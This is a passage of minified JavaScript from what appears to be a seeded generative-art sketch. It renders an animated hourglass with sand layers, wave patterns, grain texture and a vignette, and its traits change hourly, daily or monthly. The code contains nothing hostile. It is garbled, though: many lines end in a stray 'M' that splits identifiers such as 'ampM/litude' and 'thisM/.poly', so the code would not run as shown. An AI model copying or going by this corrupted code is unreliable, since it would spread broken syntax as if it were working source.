tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
